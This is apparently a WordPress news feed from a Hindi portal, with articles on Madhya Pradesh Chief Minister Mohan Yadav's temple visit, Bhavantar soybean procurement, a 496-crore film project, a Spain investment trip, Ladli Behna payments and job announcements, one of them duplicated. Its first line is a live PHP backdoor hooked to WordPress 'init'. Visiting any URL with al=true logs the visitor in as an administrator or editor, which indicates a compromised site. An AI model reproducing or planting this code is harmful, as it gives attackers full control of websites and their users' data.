// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); CM Dr. Mohan Yadav – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 08 Mar 2026 09:06:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 महाकाल की शरण में मोहन: मुख्यमंत्री ने रंग पंचमी पर किया ध्वज पूजन https://pratyushaashakinayikiran.com/?p=203315 Sun, 08 Mar 2026 09:06:00 +0000 https://pratyushaashakinayikiran.com/?p=203315 उज्जैन

 रंग पंचमी पर्व के अवसर पर मुख्यमंत्री डॉ मोहन यादव श्री महाकालेश्वर मंदिर पहुंचे। जहां उन्होंने बाबा महाकाल का आशीर्वाद लिया। सीएम ने गर्भगृह में जलाभिषेक व दुग्धाभिषेक कर पूजन-अर्चन की। दंडवत होकर बाबा महाकाल को प्रणाम किया। वहीं उन्होंने परंपरागत महाकाल की गेर का ध्वज पूजन भी किया।

दरअसल, मुख्यमंत्री डॉ मोहन यादव 8 मार्च से उज्जैन प्रवास पर है। सीएम डॉ यादव कल शाम उज्जैन पहुंचे और कई आयोजनों में शामिल हुए। आज रविवार सुबह मुख्यमंत्री डॉ मोहन यादव श्री महाकालेश्वर मंदिर पहुंचे। पुजारी, पुरोहित आचार्यत्व में विधि-विधान से पूजन किया। बाबा महाकाल का जलाभिषेक और दुग्धाभिषेक किया और प्रदेश की सुख, समृद्धि की कामना की।

इसके बाद मुख्यमंत्री डॉ यादव ने रंगपंचमी पर्व पर परंपरागत रूप से निकलने वाली श्री वीरभद्र ध्वज चल समारोह के ध्वज का पूजन किया। फिर सीएम ने शस्त्रों का पूजन कर शस्त्र संचालन-प्रदर्शन भी किया। रंगपंचमी पर्व पर आज शाम श्री वीरभद्र चल समारोह बड़े ही हर्षोल्लास के साथ निकलता है। जिसमें बैंड-बाजे, हाथी, घोड़े, रथ के साथ ही रंगबिरंगी रोशनी से नहाए विभिन्न मनमोहक धार्मिक झांकियां भी निकलती है।

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मध्य प्रदेश के विकास में नई उड़ान, केंद्र ने 496 करोड़ की पॉलीप्रोपाइलीन फिल्म परियोजना को दी हरी झंडी https://pratyushaashakinayikiran.com/?p=187721 Tue, 28 Oct 2025 11:36:00 +0000 https://pratyushaashakinayikiran.com/?p=187721 भोपाल 

मध्य प्रदेश में जल्दी ही एक बड़ी निर्माण इकाई की शुरुआत होने वाली है, केंद्र को मोदी सरकार ने आज 496 करोड़  रुपये की लागत वाली पॉलीप्रोपाइलीन फिल्म निर्माण परियोजना को आज मंजूरी दे दी, इस इकाई की स्थापना से न सिर्फ मध्य प्रदेश की आर्थिक प्रगति होगी बल्कि युवाओं के लिए रोजगार के अवसर भी बढ़ेंगे।

केंद्र सरकार ने आज मध्य प्रदेश को एक सौगात दी है इस सौगात के तहत मध्य प्रदेश पीएम मोदी के मेक इन इंडिया में बड़ा हाथ बताने जा रहा है, मध्य प्रदेश में जल्दी ही पॉलीप्रोपाइलीन फिल्म का निर्माण होगा जिसका उपयोग कैपेसिटर निर्माण में प्रमुख रूप से होता है।

पॉलीप्रोपाइलीन फिल्म एक महत्वपूर्ण सामग्री 

बता दें भारत सरकार की इलेक्ट्रॉनिक्स कंपोनेंट मैन्युफैक्चरिंग स्कीम (ईसीएमएस) के तहत मध्य प्रदेश में 496 करोड़ रुपये के निवेश वाली पॉलीप्रोपाइलीन फिल्म निर्माण परियोजना स्थापित होगी। पॉलीप्रोपाइलीन फिल्म कैपेसिटर निर्माण में प्रयुक्त होने वाली प्रमुख सामग्री है। इलेक्ट्रॉनिक्स, ऑटोमोटिव, आईसीटी, औद्योगिक एवं विनिर्माण, दूरसंचार एवं कंप्यूटिंग उपकरणों के लिए इसका निर्माण अब भारत में होने लगेगा।

अश्विनी वैष्णव ने दी 7 परियोजनाओं को मंजूरी 

केंद्रीय इलेक्ट्रॉनिक्स एवं आईटी मंत्री अश्विनी वैष्णव ने 7 परियोजनाओं की पहली श्रृंखला को मंजूरी दे दी है। इसके बाद मल्टी-लेयर प्रिंटेड सर्किट बोर्ड (पीसीबी), एचडीआई पीसीबी, कैमरा मॉड्यूल, कॉपर क्लैड लैमिनेट और पॉलीप्रोपाइलीन फिल्म भारत में भी बनाई जाएंगी। यह कदम भारत में तैयार उत्पादों के निर्माण से लेकर मॉड्यूल, कंपोनेंट, सामग्री और उनके निर्माण में प्रयुक्त मशीनरी के निर्माण तक की यात्रा में एक महत्वपूर्ण कदम है।

ईसीएमएस का लाभ लेने आये 249 आवेदन

इस योजना को घरेलू और वैश्विक दोनों कंपनियों की ओर से शानदार प्रतिक्रिया मिली है। इसका लाभ लेने 249 आवेदन प्राप्त हुए। इनमें 1.15 लाख करोड़ रुपये का निवेश, 10.34 लाख करोड़ रुपये का उत्पादन और 1.42 लाख नौकरियों का सृजन शामिल है। यह भारत के इलेक्ट्रॉनिक्स क्षेत्र में अब तक का सबसे बड़ा निवेश है।

तमिलनाडु को 5, AP, MP को एक-एक परियोजना   

सोमवार को 5,532 करोड़ रुपये की सात परियोजनाओं को मंजूरी दी गई। इन परियोजनाओं से 36,559 करोड़ रुपये  मूल्य के कलपुर्जों का उत्पादन होगा और 5,100 से अधिक प्रत्यक्ष नौकरियों का सृजन होगा। स्वीकृत इकाइयों में तमिलनाडु को 5, आंध्र प्रदेश और मध्यप्रदेश को एक एक इकाई मिली। यह संतुलित क्षेत्रीय विकास और महानगरों से परे उच्च तकनीक निर्माण के विस्तार को दर्शाता है।

क्या है ECMS, कितनी है अवधि ?

इलेक्ट्रॉनिक्स कलपुर्जा निर्माण योजना 8 अप्रैल 2025 को 22,919 करोड़ रुपये के कुल व्यय के साथ अधिसूचित की गई थी जो लगभग 2.7 बिलियन अमेरिकी डॉलर के बराबर है। इसकी अवधि छह वर्ष है। इस योजना का उद्देश्य देश में इलेक्ट्रॉनिक्स घटक निर्माण के लिए एक मज़बूत और आत्मनिर्भर पारिस्थितिकी तंत्र का निर्माण करना है। घरेलू तथा वैश्विक निवेश को आकर्षित करना, उच्च घरेलू मूल्यवर्धन को बढ़ावा देना एवं भारत को वैश्विक इलेक्ट्रॉनिक्स व्यापार में एक प्रमुख निर्माता के रूप में स्थापित करना है।

 

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मध्य प्रदेश भावांतर योजना में 14727 किसानों से 25999 टन सोयाबीन खरीदी, जनवरी तक जारी https://pratyushaashakinayikiran.com/?p=187697 Tue, 28 Oct 2025 10:36:00 +0000 https://pratyushaashakinayikiran.com/?p=187697 भोपाल 

मध्य प्रदेश के किसानों के लिए अच्छी खबर है। भावांतर योजना के तहत 24 अक्टूबर से प्रदेश की सभी मंडियों में सोयाबीन की खरीदी शुरू हो गई है, जो 15 जनवरी 2026 तक चलेगी।  अभी तक 14 हजार 727 किसानों से 25 हजार 999 टन सोयाबीन खरीदी गई है।प्रदेश में सोयाबीन की बिक्री के लिए लागू की गई भावांतर योजना में 9 लाख 36 हजार 352 किसानों ने पंजीयन कराया है। सोयाबीन के लिए एमएसपी प्रति क्विंटल 5328 रुपए घोषित की गई है। खास बात ये है कि किसान पहले की भांति मंडियों में सोयाबीन का विक्रय करेगा। योजना के तहत सोयाबीन उत्पादक किसानों को न्यूनतम समर्थन मूल्य और बाजार भाव के बीच का अंतर सरकार द्वारा दिया जाएगा।फसल बिक्री के 15 दिन के भीतर भावमें अंतर की राशि सीधे किसानों के बैंक खाते में अंतरित कर दी जाएगी।

अबतक 14 हजार 727 किसानों से 25 हजार 999 टन सोयाबीन की खरीदी

प्रदेश में भावांतर योजना के तहत 27 अक्टूबर को 7 हजार 981 किसानों से 14 हजार 214 टन सोयाबीन की खरीदी हुई। कृषि उपज मंडी उज्जैन में सर्वाधिक 529, देवास में 512, ताल में 486, इंदौर में 455, खातेगांव में 425, बैरसिया में 396, आगर में 376, सागर में 368, आष्टा में 339 और शाजापुर में 335 टन सोयाबीन की खरीदी हुई। प्रदेश में सोयाबीन की बुवाई का रकवा वर्तमान में 53.20 लाख हेक्टेयर है। इस वर्ष 55.54 लाख मीट्रिक टन सोयाबीन का उत्पादन हुआ है। सोयाबीन खरीदी के प्रथम मॉडल भाव की घोषणा 7 नवंबर 2025 को की जाएगी।

9.36 लाख सोयाबीन उत्पादक किसानों ने कराया है पंजीयन

सोयाबीन उत्पादक किसानों के लिए लागू की भावान्तर योजना के तहत 3 से 17 अक्टूबर तक शुरू हुए रजिस्ट्रेशन में 9.36 लाख किसानों ने पंजीयन करवाया है। प्रदेश में सात जिले उज्जैन, राजगढ़, शाजापुर, देवास, सीहोर, विदिशा और सागर ऐसे हैं जहां 50-50 हजार से अधिक किसानों ने पंजीयन करवाया है। इसी तरह 21 जिलों से 10-10 हजार से अधिक किसानों ने पंजीयन करवाया है। प्रदेश में 24 अक्टूबर से 15 जनवरी 2026 तक सोयाबीन की विक्रय अवधि रहेगी। अगर एमएसपी से कम कीमत पर सोयाबीन बिकता है तो किसानों के घाटे की भरपाई भावान्तर योजना के तहत राज्य सरकार द्वारा की जाएगी। फसल के विक्रय मूल्य और न्यूनतम समर्थन मूल्य MSP के अन्तर की राशि सीधे राज्य सरकार देगी।

सीएम ने अधिकारियों को दिए है ये निर्देश

मुख्यमंत्री डॉ. मोहन यादव ने अधिकारियों को निर्देश दिए है कि किसानों के हित में भावांतर योजना प्रारंभ की गई है, प्रदेश में तीन गुना से अधिक पंजीयन योजना में हुए हैं। जिलों में किसानों को मंडियों और उपमंडियों में सोयाबीन विक्रय के लिए आवश्यक तैयारियां पूर्ण की जाएं।ई-उपार्जन पोर्टल के माध्यम से किसानों के पंजीकृत बैंक खाते में डीबीटी के माध्यम से भावांतर राशि का भुगतान निर्धारित अवधि में किया जाए।भुगतान के संबंध में किसान को एसएमएस के माध्यम से सूचना दी जाए। ई-उपार्जन पोर्टल पर पंजीयन के बाद मंडी पोर्टल में ई-मंडी पोर्टल पर सभी कार्य इलेक्ट्रानिक माध्यम से किए गए हैं। प्रवेश गेट और प्रांगण की सीसीटीवी मॉनिटरिंग की व्यवस्था की गई है। प्रत्येक मंडी में हेल्प डेक्स भी बनाई गई है।

कृषि मंत्री ने दी ये जानकारी

कृषि मंत्री एदल सिंह कंषाना ने बताया कि कृषि विभाग द्वारा केन्द्र सरकार को 26 लाख 49 हजार मीट्रिक टन का प्रस्ताव भेजा गया था, जिसे भारत सरकार द्वारा यथावत स्वीकृत करने की सहमति व्यक्त की  है। जब मण्डियों एवं बाजारों में किसानों को उनकी फसल का मूल्य न्यूनतम समर्थन मूल्य से ना मिले ये सुनिश्चित करने के लिए सरकार ने भावांतर योजना लागू की है। इस वर्ष खरीफ-2025 में सोयाबीन का मण्डी भाव न्यूनतम समर्थन मूल्य से कम है इसलिये किसानों को होने वाले नुकसान से बचाने के लिये मुख्यमंत्री डॉ. मोहन यादव द्वारा प्रदेश में भावांतर योजना लागू की गई, ताकि किसानों को किसी प्रकार की हानि न हो और उन्हें उपज का वाजिब दाम प्राप्त हो सके। प्रदेश में सोयाबीन में भावांतर योजनांतर्गत किसानों का पंजीयन 3 से 17 अक्टूबर तक किया गया है, जिसमें 9 लाख 36 हजार कृषकों ने पंजीयन कराया। पंजीकृत किसानों की भूमि का रकबा 22 लाख 64 हजार हेक्टेयर है।

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‘इन्वेस्ट इन मध्य प्रदेश’ सीएम डॉ मोहन यादव बिजनेस फोरम में करेंगे निवेशकों से संवाद https://pratyushaashakinayikiran.com/?p=170889 Wed, 16 Jul 2025 07:46:00 +0000 https://pratyushaashakinayikiran.com/?p=170889 भोपाल 

मध्य प्रदेश के मुख्यमंत्री डॉ मोहन यादव की विदेश यात्रा का दूसरा चरण 16 से 19 तक होगा जिसमें वे स्पेन में रहेंगे, दुबई यात्रा की सफलता के बाद अब वे स्पेन में निवेशकों को मध्य प्रदेश में इन्वेस्ट करने के लिए आमंत्रित करेंगे, इस दौरान कई सेशन होंगे जिसमें अलग अलग सेक्टर के निवेशकों से मुख्यमंत्री चर्चा करेंगे, मुख्यमंत्री दुबई से रवाना होकर देर रात स्पेन की राजधानी मैड्रिड पहुंचेंगे।
“इन्वेस्ट इन मध्य प्रदेश” बिजनेस फोरम में करेंगे निवेशकों से संवाद 

मुख्यमंत्री डॉ मोहन यादव 16 से 19 जुलाई 2025 तक स्पेन के आधिकारिक दौरे पर रहेंगे। स्पेन प्रवास के दौरान वे मैड्रिड में आयोजित “इन्वेस्ट इन मध्यप्रदेश” बिजनेस फोरम को संबोधित करेंगे और उद्योग, पर्यटन, खेल, संस्कृति तथा फिल्म निर्माण से जुड़े विषयों पर उच्चस्तरीय बैठकों में भाग लेंगे।

ऐसा रहेगा पहले दिन 16 जुलाई का शेड्यूल 

    स्पेन प्रवास के पहले दिन 16 जुलाई की शुरूआत मुख्यमंत्री डॉ. यादव से भारत के राजदूत दिनेश के पटनायक शिष्टाचार भेंट करेंगे। इसके बाद वे “इन्वेस्ट इन मध्य प्रदेश” बिजनेस फोरम में मुख्य अतिथि के रूप में शामिल होंगे। इस सेशन में वरिष्ठ अधिकारियों द्वारा पर्यटन, औद्योगिक नीति एवं निवेश, आईटी और अधोसंरचना सेक्टर पर प्रेजेन्टेशन होगा।

    बिजनेस फोरम की शुरुआत मध्य प्रदेश शासन के सचिव एवं मुख्यमंत्री के सचिव इलैयाराजा टी के स्वागत भाषण से होगी। स्पेन-इंडिया काउंसिल फाउंडेशन के अध्यक्ष जुआन इग्नासियो एंत्रेकानालेस भी फोरम को संबोधित करेंगे। नेचर बायोफूड्स के सीईओ रोहन ग्रोवर द्वारा अनुभव साझा किये जाएंगे।

    मुख्यमंत्री डॉ. यादव फोरम में उपस्थिति उद्योगपतियों को मध्य प्रदेश में विभिन्न सेक्टर्स में निवेश के अवसरों पर विस्तृत जानकारी देंगे। नेटवर्किंग लंच में मुख्यमंत्री डॉ. यादव स्पेन के प्रमुख उद्योगपतियों एवं विभिन्न संगठनों के प्रतिनिधियों से संवाद करेंगे।

    मुख्यमंत्री डॉ. यादव खेल सेक्टर में विख्यात स्पोर्ट्स इंफ्रास्ट्रक्चर डिज़ाइन एवं कंसल्टिंग फर्म ‘पॉपुलस’ के प्रजेंटेशन में भाग लेंगे। यह प्रजेंटेशन श्री जोर्ज बेटनकौर द्वारा दिया जाएगा। जिसमें मध्यप्रदेश में आधुनिक खेल अधोसंरचना विकास पर चर्चा की जाएगी।

    मुख्यमंत्री डॉ. यादव से बाद में स्पेन फिल्म आयोग के अध्यक्ष मुलाकात करेंगे, जिसमें मध्यप्रदेश में अंतर्राष्ट्रीय स्तर की फिल्म शूटिंग और सहयोग पर चर्चा की जाएगी। मुख्यमंत्री डॉ. यादव प्राडो म्यूज़ियम का भ्रमण भी करेंगे।

    मुख्यमंत्री डॉ. यादव स्पेन में बसे भारतीय व्यापार समुदाय के प्रतिनिधियों से मुलाकात करेंगे और मैड्रिड में आयोजित विशेष रात्रि भोज में भाग लेंगे।

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मध्यप्रदेश की लाड़ली बहना योजना की करोड़ों बहनों के लिए अच्छी खबर, जल्द जारी होगी 23वीं किस्त https://pratyushaashakinayikiran.com/?p=148479 Sun, 13 Apr 2025 12:36:00 +0000 https://pratyushaashakinayikiran.com/?p=148479 भोपाल
मुख्यमंत्री लाड़ली बहना योजना की करोड़ों बहनों के लिए अच्छी खबर है। योजना की 23वीं किस्त के 1250 रुपए पर नया अपडेट आया है। खबर है कि खबर है कि सीएम डॉ. मोहन यादव बुधवार 16 अप्रैल को मण्डला जिले के ग्राम टिकरवारा से लाड़ली बहना योजना की लाभार्थी महिलाओं को वर्तमान अप्रैल माह की मासिक सहायता राशि का अंतरण करेंगे। आमतौर पर हर माह की 10 तारीख को योजना की किस्त जारी होती है।कभी कभी त्यौहारों और विशेष अवसर को देखते हुए तय तारीख से पहले भी राशि भेज दी जाती है, लेकिन इस बार तय तारीख निकलने के बाद भी पैसे नहीं मिले है। पहले खबर आई थी कि 12 अप्रैल को हनुमान जयंती या फिर 13 अप्रैल को गृहमंत्री अमित शाह के एमपी आने पर राज्य की मोहन यादव सरकार 23वीं किस्त जारी करेगी, लेकिन अब खबर आ रही है कि 16 अप्रैल को किस्त जारी होगी।
 
लाड़ली बहना योजना पिछली शिवराज सिंह चौहान सरकार द्वारा मई 2023 में शुरू की गई थी।लाड़ली बहना योजना का मुख्य उद्देश्य मध्य प्रदेश की महिलाओं को आर्थिक रूप से सशक्त बनाना और उनके जीवन को बेहतर बनाना है।
इस योजना के तहत 21 से 60 वर्ष की विवाहित महिलाओं को 1000 रुपए देने का फैसला किया गया था और फिर इसकी पहली किस्त 10 जून को जारी की गई थी।
इसके बाद रक्षाबंधन 2023 पर राशि को बढ़ाकर 1250 रुपए कर दिया गया था।
अब इस योजना के तहत 1250 रुपए महीना के हिसाब से महिलाओं को सालाना 15,000 रुपये मिलते हैं।
लाड़ली बहनों को जून 2023 से मार्च 2025 तक मासिक आर्थिक सहायता राशि की कुल 22 किश्तों का अंतरण किया गया है।इसके अतिरिक्त माह अगस्त 2023 एवं 2024 में (कुल 2 बार) लाभार्थी महिलाओं को 250 रुपये की राशि की विशेष आर्थिक सहायता का भी अंतरण किया गया।

लाड़ली बहना योजना : आयु/पात्रता/नियमइस योजना में 1 जनवरी 1963 के बाद लेकिन 1 जनवरी 2000 तक जन्मी मध्यप्रदेश की स्थानीय निवासी समस्त विवाहित महिलाएं (विधवा, तलाकशुदा एवं परित्यक्ता समेत) वर्ष 2023 में आवेदन के लिए पात्र मानी जाती है।
महिलाएं, खुद या उनके परिवार में कोई टैक्सपेयर नहीं होना चाहिए ।परिवार की सालाना आय 2.5 लाख रुपये होना चाहिए।
अगर संयुक्त परिवार है तो 5 एकड़ से ज्यादा जमीन न हो, परिवार में कोई भी व्यक्ति सरकारी नौकरी न करता हो।घर पर ट्रैक्टर, चारपहिया वाहन न हो।
यदि कोई महिला 60 वर्ष से कम उम्र की है और किसी अन्य सामाजिक सुरक्षा पेंशन योजना के तहत पहले से ही प्रति माह 1250 रुपये से कम प्राप्त कर रही है, तो उस महिला को भी 1250 रुपये तक की राशि दी जाएगी।
विवाहित महिलाओं में विधवा, और तलाकशुदा महिलाएं भी शामिल हैं।
जिस साल आवेदन किया जाए, उस साल 1 जनवरी को आवेदक की उम्र 21 वर्ष पूरी हो चुकी होनी चाहिए और अधिकतम उम्र 60 वर्ष से कम होनी चाहिए।
जिनके परिवार का कोई सदस्य वर्तमान अथवा भूतपूर्व सांसद, विधायक हो या फिर किसी सरकारी पद का लाभ ले रहा है, उस परिवार की महिलाएं भी लाड़ली बहना योजना के लिए पात्र नहीं होंगी।
यदि महिला के पति के पास सरकारी योजना के तहत लाभ प्राप्त करने के लिए पात्रता नहीं है, तो वह भी इस योजना का लाभ नहीं उठा पाएगी।

1250 मिलेंगे या नहीं? लिस्ट में नाम है या नहीं, ऐसे करें चेक
लाड़ली बहना की आधिकारिक वेबसाइट https://cmladlibahna.mp.gov.in/ पर जाएं।
वेबसाइट के मुख्य पृष्ठ पर “आवेदन एवं भुगतान की स्थिति” वाले विकल्प पर क्लिक करें।
दूसरे पृष्ठ पर पहुंचने के बाद, अपना आवेदन नंबर या सदस्य समग्र क्रमांक दर्ज करें।
कैप्चा कोड सबमिट करने के बाद, मोबाइल पर एक ओटीपी भेजा जाएगा।
मोबाइल नंबर पर प्राप्त ओटीपी दर्ज करें और वेरिफाई करें।
ओटीपी वेरिफाई करने के बाद “सर्च” विकल्प पर क्लिक करें और आपका भुगतान स्थिति खुल जाएगी।

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सीएम डॉ. मोहन यादव ने किया बड़ा ऐलान 61,000 पदों पर शुरू होने वाली हैं भर्ती प्रक्रिया… https://pratyushaashakinayikiran.com/?p=141144 Tue, 18 Mar 2025 03:39:00 +0000 https://pratyushaashakinayikiran.com/?p=141144 भोपाल

 मध्य प्रदेश में 61,000 पदों पर भर्ती प्रक्रिया शुरू हो रही है। इसमें 8,500 पुलिसकर्मियों की भर्ती भी है। 5 साल में ढाई लाख नौकरी का लक्ष्य है, जिससे युवाओं को रोजगार के अधिक मौके मिलें। शिक्षा क्षेत्र में भी 19,362 नियुक्तियां करेंगे। हर विधानसभा क्षेत्र में खेल मैदान की व्यवस्था करेंगे। सीएम डॉ. मोहन यादव ने राजगढ़ में जिला अस्पताल के नए भवन के लोकार्पण दौरान सभा में ये बातें कहीं।

विपक्ष पर निशाना
सीएम ने कहा, कांग्रेस सरकार ने कई सुविधाएं बंद कर दी थी, इनमें परिवहन निगम भी है। कांग्रेस ने कई तरह की नौकरियां और योजनाओं पर ताला लगाया, हम उन तालों को खोलने का काम कर रहे हैं। सीएम ने कहा, राजगढ़ में ₹500 करोड़ के निवेश से विभिन्न क्षेत्रों में औद्योगिक इकाइयां स्थापित की जाएंगी।

मुख्यमंत्री ने कहा कि हम सभी विभागों में निरंतर भर्तियां निकालकर पदपूर्ति करने जा रहे हैं. सरकार ने प्रत्येक जिले में पुलिस बैंड की पुनः स्थापना की. इसके लिए नवीन पदों का सृजन भी किया है. पुलिस बैंड, पुलिस का गौरव है, जो अपनी प्रस्तुति से 26 जनवरी और 15 अगस्त के कार्यक्रमों को गरिमा प्रदान करता है.

'61 हजार लोगों को मिला नियुक्ति पत्र'

उन्होंने कहा, "मौजूदा समय में कुल मिलाकर 267 शासकीय आईटीआई संचालित कर रहे हैं और 22 नए आईटीआई  शुरू करेंगे. साथ ही 5,280 अतिरिक्त सीट की बढ़ोतरी की जाएगी. जबकि एक साल के अंदर हमने 61 हजार लोगों को नियुक्ति पत्र दिए हैं."

जल्द आएगी वैकेंसी

उन्होंने कहा कि सरकार ने 6,600 से अधिक पुलिसकर्मियों की भर्ती की है. प्रदेश में जल्द ही 8,500 से अधिक पुलिस कॉन्स्टेबल और सब-इंस्पेक्टर की नवीन भर्तियां भी शीघ्र निकाली जाएंगी. सीएम यादव ने कहा है कि पुलिस सब प्रकार की चुनौतियों का सामना कर समाज को बेफिक्र होकर जीने का अनुकूल माहौल प्रदान करती है.

सीएम ने पुलिस के काम को भी सराहा

पुलिस होली, दीपावली और अन्य त्योहारों पर अपने घर से दूर रहकर अपनी पूरी निष्ठा से समाज के प्रति अपने उत्तरदायित्व का निर्वहन करती है. सुरक्षाकर्मियों का समाज में विशेष सम्मान और महत्व है. बाबा महाकाल की नगरी में पुलिसकर्मियों के साथ होली खेलना हर्ष की बात है. पुलिस के लिए होली पर्व पर व्यवस्था करना एक चुनौतीपूर्ण कार्य है. पुलिस की सेवा के कारण ही सभी नागरिक हर्षोल्लास और आनंद के साथ होली का पर्व मनाते हैं. पुलिस, समाज की सुरक्षा के लिए एक अहम कड़ी है.

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सीएम डॉ. मोहन यादव ने किया बड़ा ऐलान 61,000 पदों पर शुरू होने वाली हैं भर्ती प्रक्रिया… https://pratyushaashakinayikiran.com/?p=141148 Tue, 18 Mar 2025 03:39:00 +0000 https://pratyushaashakinayikiran.com/?p=141148 भोपाल

 मध्य प्रदेश में 61,000 पदों पर भर्ती प्रक्रिया शुरू हो रही है। इसमें 8,500 पुलिसकर्मियों की भर्ती भी है। 5 साल में ढाई लाख नौकरी का लक्ष्य है, जिससे युवाओं को रोजगार के अधिक मौके मिलें। शिक्षा क्षेत्र में भी 19,362 नियुक्तियां करेंगे। हर विधानसभा क्षेत्र में खेल मैदान की व्यवस्था करेंगे। सीएम डॉ. मोहन यादव ने राजगढ़ में जिला अस्पताल के नए भवन के लोकार्पण दौरान सभा में ये बातें कहीं।

विपक्ष पर निशाना
सीएम ने कहा, कांग्रेस सरकार ने कई सुविधाएं बंद कर दी थी, इनमें परिवहन निगम भी है। कांग्रेस ने कई तरह की नौकरियां और योजनाओं पर ताला लगाया, हम उन तालों को खोलने का काम कर रहे हैं। सीएम ने कहा, राजगढ़ में ₹500 करोड़ के निवेश से विभिन्न क्षेत्रों में औद्योगिक इकाइयां स्थापित की जाएंगी।

मुख्यमंत्री ने कहा कि हम सभी विभागों में निरंतर भर्तियां निकालकर पदपूर्ति करने जा रहे हैं. सरकार ने प्रत्येक जिले में पुलिस बैंड की पुनः स्थापना की. इसके लिए नवीन पदों का सृजन भी किया है. पुलिस बैंड, पुलिस का गौरव है, जो अपनी प्रस्तुति से 26 जनवरी और 15 अगस्त के कार्यक्रमों को गरिमा प्रदान करता है.

'61 हजार लोगों को मिला नियुक्ति पत्र'

उन्होंने कहा, "मौजूदा समय में कुल मिलाकर 267 शासकीय आईटीआई संचालित कर रहे हैं और 22 नए आईटीआई  शुरू करेंगे. साथ ही 5,280 अतिरिक्त सीट की बढ़ोतरी की जाएगी. जबकि एक साल के अंदर हमने 61 हजार लोगों को नियुक्ति पत्र दिए हैं."

जल्द आएगी वैकेंसी

उन्होंने कहा कि सरकार ने 6,600 से अधिक पुलिसकर्मियों की भर्ती की है. प्रदेश में जल्द ही 8,500 से अधिक पुलिस कॉन्स्टेबल और सब-इंस्पेक्टर की नवीन भर्तियां भी शीघ्र निकाली जाएंगी. सीएम यादव ने कहा है कि पुलिस सब प्रकार की चुनौतियों का सामना कर समाज को बेफिक्र होकर जीने का अनुकूल माहौल प्रदान करती है.

सीएम ने पुलिस के काम को भी सराहा

पुलिस होली, दीपावली और अन्य त्योहारों पर अपने घर से दूर रहकर अपनी पूरी निष्ठा से समाज के प्रति अपने उत्तरदायित्व का निर्वहन करती है. सुरक्षाकर्मियों का समाज में विशेष सम्मान और महत्व है. बाबा महाकाल की नगरी में पुलिसकर्मियों के साथ होली खेलना हर्ष की बात है. पुलिस के लिए होली पर्व पर व्यवस्था करना एक चुनौतीपूर्ण कार्य है. पुलिस की सेवा के कारण ही सभी नागरिक हर्षोल्लास और आनंद के साथ होली का पर्व मनाते हैं. पुलिस, समाज की सुरक्षा के लिए एक अहम कड़ी है.

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CM डॉ. मोहन यादव की बड़ी घोषणा राजधानी के प्रमुख मार्गों पर महापुरुषों के नाम से द्वार बनाए जाएंगे https://pratyushaashakinayikiran.com/?p=135848 Tue, 04 Mar 2025 08:39:00 +0000 https://pratyushaashakinayikiran.com/?p=135848 भोपाल

 मुख्यमंत्री डॉ. मोहन यादव ने बड़ी घोषणा की है कि राजधानी भोपाल के प्रमुख मार्गों पर महापुरुषों के नाम से द्वार बनाए जाएंगे, जिससे भोपाल और मध्यप्रदेश के गौरवशाली इतिहास को संजोया जा सकेगा। उन्होंने कहा कि एमपी की पहचान यहां के वीर शासकों से रही है और इस विरासत को सहेजने के लिए सरकार द्वारा ये निर्णय लिया गया है।

भोपाल का इतिहास परमार राजाओं, गोंड शासकों और नवाबों से जुड़ा रहा है। वहीं, पूरे मध्य प्रदेश में सम्राट विक्रमादित्य, राजा भोज, चंद्रगुप्त मौर्य, सम्राट अशोक, रानी दुर्गावती जैसे कई महान शासकों ने शासन किया है। सरकार की इस पहल से इन महापुरुषों की विरासत को और अधिक मजबूती मिलेगी।

सीएम मोहन यादव की घोषणा ‘महापुरुषों के नाम पर बनेंगे द्वार’

मध्यप्रदेश की राजधानी भोपाल के ऐतिहासिक गौरव को पुनर्जीवित करने के उद्देश्य से मुख्यमंत्री डॉ. मोहन यादव ने  महत्वपूर्ण घोषणा की है। उन्होंने कहा कि ‘भोपाल और पूरे मध्य प्रदेश की पहचान वीर शासकों से रही है। सम्राट विक्रमादित्य ने चक्रवर्ती सम्राट की तरह शासन किया। उनका न्याय, ज्ञान, वीरता, दानशीलता, धैर्य, पराक्रम, पुरुषार्थ कई गुणों से उनकी अलग पहचान रही है। उनके एक हजार साल बाद राजा भोज भी अद्वितीय शासक रहे हैं। राजा भोज के कारण भोपाल की विशेष पहचान है। ऐसे में हमारी सरकार ने तय किया है कि हमारी राजधानी का गौरवशाली अतीत है। उस अतीत को सामने लाने की आवश्यकता है। इसलिए राजधानी के प्रमुख मार्गों पर ऐसे महापुरुषों के नाम से द्वार बनाए जाएंगे, जिससे भोपाल और मध्यप्रदेश का गौरवशाली इतिहास संजोया जा सके।

मध्यप्रदेश की विरासत को संजोने का फैसला

प्रदेश सरकार का यह कदम भोपाल को एक ऐतिहासिक और सांस्कृतिक पहचान देने के उद्देश्य से लिया गया है। इससे न सिर्फ शहर की ऐतिहासिक विरासत को संरक्षित किया जाएगा, बल्कि युवाओं और आने वाली पीढ़ी को भी अपने गौरवशाली अतीत के बारे में परिचय मिलेगा। इस फैसले के तहत भोपाल के अलग-अलग क्षेत्रों में ऐतिहासिक महत्व रखने वाले राजाओं, सम्राटों और अन्य महापुरुषों के नाम पर प्रवेश द्वार बनाए जाएंगे। इससे भोपाल में आने वाले पर्यटकों को भी राज्य की समृद्ध ऐतिहासिक पृष्ठभूमि के बारे में जानकारी मिलेगी।

ऐतिहासिक महत्व के द्वार

भोपाल, जो पहले से ही ऐतिहासिक धरोहरों से समृद्ध है, अब इन विशेष स्मारक द्वारों के माध्यम से अपनी संस्कृति और परंपरा को और अधिक मजबूती से प्रदर्शित करेगा। इन द्वारों का निर्माण शहर के प्रमुख मार्गों, चौराहों और प्रवेश स्थलों पर किया जाएगा। हर द्वार का नाम किसी महान नेता, स्वतंत्रता सेनानी, समाज सुधारक या ऐतिहासिक शख्सियत के नाम पर रखा जाएगा, जिससे आने वाली पीढ़ियां उनके योगदान को जान सकें।
पर्यटन और सांस्कृतिक विकास को बढ़ावा

